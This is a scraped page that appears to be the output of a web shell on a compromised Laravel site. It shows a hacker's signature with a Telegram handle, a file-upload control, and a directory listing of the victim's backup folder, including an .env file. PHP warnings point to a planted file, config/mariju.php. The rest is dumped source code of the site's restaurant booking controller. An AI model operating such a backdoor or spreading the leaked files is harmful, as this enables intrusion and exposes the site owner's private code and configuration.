telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log19675631 KBJuly 18 2025 20:30:450644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
commonUtil = $commonUtil; $this->restUtil = $restUtil; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (! auth()->user()->can('crud_all_bookings') && ! auth()->user()->can('crud_own_bookings')) { abort(403, 'Unauthorized action.'); } $business_id = request()->session()->get('user.business_id'); $user_id = request()->has('user_id') ? request()->user_id : null; if (! auth()->user()->hasPermissionTo('crud_all_bookings') && ! $this->restUtil->is_admin(auth()->user(), $business_id)) { $user_id = request()->session()->get('user.id'); } if (request()->ajax()) { $filters = [ 'start_date' => request()->start, 'end_date' => request()->end, 'user_id' => $user_id, 'location_id' => ! empty(request()->location_id) ? request()->location_id : null, 'business_id' => $business_id, ]; $events = $this->restUtil->getBookingsForCalendar($filters); return $events; } $business_locations = BusinessLocation::forDropdown($business_id); $customers = Contact::customersDropdown($business_id, false); $correspondents = User::forDropdown($business_id, false); $types = Contact::getContactTypes(); $customer_groups = CustomerGroup::forDropdown($business_id); return view('restaurant.booking.index', compact('business_locations', 'customers', 'correspondents', 'types', 'customer_groups')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if (! auth()->user()->can('crud_all_bookings') && ! auth()->user()->can('crud_own_bookings')) { abort(403, 'Unauthorized action.'); } try { if ($request->ajax()) { $business_id = request()->session()->get('user.business_id'); $user_id = request()->session()->get('user.id'); $input = $request->input(); $booking_start = $this->commonUtil->uf_date($input['booking_start'], true); $booking_end = $this->commonUtil->uf_date($input['booking_end'], true); $date_range = [$booking_start, $booking_end]; //Check if booking is available for the required input $query = Booking::where('business_id', $business_id) ->where('location_id', $input['location_id']) ->where('contact_id', $input['contact_id']) ->where(function ($q) use ($date_range) { $q->whereBetween('booking_start', $date_range) ->orWhereBetween('booking_end', $date_range); }); if (isset($input['res_table_id'])) { $query->where('table_id', $input['res_table_id']); } $existing_booking = $query->first(); if (empty($existing_booking)) { $input['business_id'] = $business_id; $input['created_by'] = $user_id; $input['booking_start'] = $booking_start; $input['booking_end'] = $booking_end; $booking = Booking::createBooking($input); $output = ['success' => 1, 'msg' => trans('lang_v1.added_success'), ]; //Send notification to customer if (isset($input['send_notification']) && $input['send_notification'] == 1) { $output['send_notification'] = 1; $output['notification_url'] = action([\App\Http\Controllers\NotificationController::class, 'getTemplate'], ['transaction_id' => $booking->id, 'template_for' => 'new_booking']); } } else { $time_range = $this->commonUtil->format_date($existing_booking->booking_start, true).' ~ '. $this->commonUtil->format_date($existing_booking->booking_end, true); $output = ['success' => 0, 'msg' => trans( 'restaurant.booking_not_available', ['customer_name' => $existing_booking->customer->name, 'booking_time_range' => $time_range, ] ), ]; } } else { exit(__('messages.something_went_wrong')); } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Display the specified resource. * * @param \int $id * @return \Illuminate\Http\Response */ public function show($id) { if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $booking = Booking::where('business_id', $business_id) ->where('id', $id) ->with(['table', 'customer', 'correspondent', 'waiter', 'location']) ->first(); if (! empty($booking)) { $booking_start = $this->commonUtil->format_date($booking->booking_start, true); $booking_end = $this->commonUtil->format_date($booking->booking_end, true); $booking_statuses = [ 'waiting' => __('lang_v1.waiting'), 'booked' => __('restaurant.booked'), 'completed' => __('restaurant.completed'), 'cancelled' => __('restaurant.cancelled'), ]; return view('restaurant.booking.show', compact('booking', 'booking_start', 'booking_end', 'booking_statuses')); } } } /** * Show the form for editing the specified resource. * * @param \App\Booking $booking * @return \Illuminate\Http\Response */ public function edit(Booking $booking) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Booking $booking * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (! auth()->user()->can('crud_all_bookings') && ! auth()->user()->can('crud_own_bookings')) { abort(403, 'Unauthorized action.'); } try { $business_id = $request->session()->get('user.business_id'); $booking = Booking::where('business_id', $business_id) ->find($id); if (! empty($booking)) { $booking->booking_status = $request->booking_status; $booking->save(); } $output = ['success' => 1, 'msg' => trans('lang_v1.updated_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Remove the specified resource from storage. * * @param \App\Booking $booking * @return \Illuminate\Http\Response */ public function destroy($id) { if (! auth()->user()->can('crud_all_bookings') && ! auth()->user()->can('crud_own_bookings')) { abort(403, 'Unauthorized action.'); } try { $business_id = request()->session()->get('user.business_id'); $booking = Booking::where('business_id', $business_id) ->where('id', $id) ->delete(); $output = ['success' => 1, 'msg' => trans('lang_v1.deleted_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Retrieves todays bookings * * @param \App\Booking $booking * @return \Illuminate\Http\Response */ public function getTodaysBookings() { if (! auth()->user()->can('crud_all_bookings') && ! auth()->user()->can('crud_own_bookings')) { abort(403, 'Unauthorized action.'); } if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $user_id = request()->session()->get('user.id'); $today = \Carbon::now()->format('Y-m-d'); $query = Booking::where('business_id', $business_id) ->where('booking_status', 'booked') ->whereDate('booking_start', $today) ->with(['table', 'customer', 'correspondent', 'waiter', 'location']); if (! empty(request()->location_id)) { $query->where('location_id', request()->location_id); } if (! auth()->user()->hasPermissionTo('crud_all_bookings') && ! $this->commonUtil->is_admin(auth()->user(), $business_id)) { $query->where(function ($query) use ($user_id) { $query->where('created_by', $user_id) ->orWhere('correspondent_id', $user_id) ->orWhere('waiter_id', $user_id); }); //$query->where('created_by', $user_id); } return Datatables::of($query) ->editColumn('table', function ($row) { return ! empty($row->table->name) ? $row->table->name : '--'; }) ->editColumn('customer', function ($row) { return ! empty($row->customer->name) ? $row->customer->name : '--'; }) ->editColumn('correspondent', function ($row) { return ! empty($row->correspondent->user_full_name) ? $row->correspondent->user_full_name : '--'; }) ->editColumn('waiter', function ($row) { return ! empty($row->waiter->user_full_name) ? $row->waiter->user_full_name : '--'; }) ->editColumn('location', function ($row) { return ! empty($row->location->name) ? $row->location->name : '--'; }) ->editColumn('booking_start', function ($row) { return $this->commonUtil->format_date($row->booking_start, true); }) ->editColumn('booking_end', function ($row) { return $this->commonUtil->format_date($row->booking_end, true); }) ->removeColumn('id') ->make(true); } } }